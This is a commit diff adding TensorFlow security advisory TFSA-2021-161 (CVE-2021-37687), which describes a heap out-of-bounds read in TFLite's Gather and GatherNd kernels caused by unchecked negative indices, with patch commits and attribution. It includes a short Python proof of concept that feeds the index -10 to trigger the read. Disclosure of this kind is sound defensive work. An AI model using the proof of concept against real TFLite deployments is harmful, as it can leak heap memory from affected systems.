chore: import upstream snapshot with attribution

tensorflow/security/advisory/tfsa-2021-161.md

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+## TFSA-2021-161: Heap OOB in TFLite's `Gather*` implementations
+
+### CVE Number
+CVE-2021-37687
+
+### Impact
+TFLite's [`GatherNd`
+implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124)
+does not support negative indices but there are no checks for this situation.
+
+Hence, an attacker can read arbitrary data from the heap by carefully crafting a
+model with negative values in `indices`.
+
+Similar issue exists in [`Gather`
+implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc).
+
+```python
+import tensorflow as tf
+import numpy as np
+tf.compat.v1.disable_v2_behavior()
+
+params = tf.compat.v1.placeholder(name="params", dtype=tf.int64, shape=(1,))
+indices = tf.compat.v1.placeholder(name="indices", dtype=tf.int64, shape=())
+
+out = tf.gather(params, indices, name='out')
+
+with tf.compat.v1.Session() as sess:
+   converter = tf.compat.v1.lite.TFLiteConverter.from_session(sess, [params, indices], [out])
+   tflite_model = converter.convert()
+
+interpreter = tf.lite.Interpreter(model_content=tflite_model)
+interpreter.allocate_tensors()
+
+input_details = interpreter.get_input_details()
+output_details = interpreter.get_output_details()
+
+params_data = np.reshape(np.array([1], dtype=np.int64), newshape=(1,))
+indices_data = np.reshape(np.array(-10, dtype=np.int64), newshape=())
+interpreter.set_tensor(input_details[0]['index'], params_data)
+interpreter.set_tensor(input_details[1]['index'], indices_data)
+
+interpreter.invoke()
+```
+
+### Patches
+We have patched the issue in GitHub commits
+[bb6a0383ed553c286f87ca88c207f6774d5c4a8f](https://github.com/tensorflow/tensorflow/commit/bb6a0383ed553c286f87ca88c207f6774d5c4a8f)
+and
+[eb921122119a6b6e470ee98b89e65d721663179d](https://github.com/tensorflow/tensorflow/commit/eb921122119a6b6e470ee98b89e65d721663179d).
+
+The fix will be included in TensorFlow 2.6.0. We will also cherrypick this
+commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are
+also affected and still in supported range.
+
+### For more information
+Please consult [our security
+guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
+more information regarding the security model and how to contact us with issues
+and questions.
+
+### Attribution
+This vulnerability has been reported by Yakun Zhang of Baidu Security.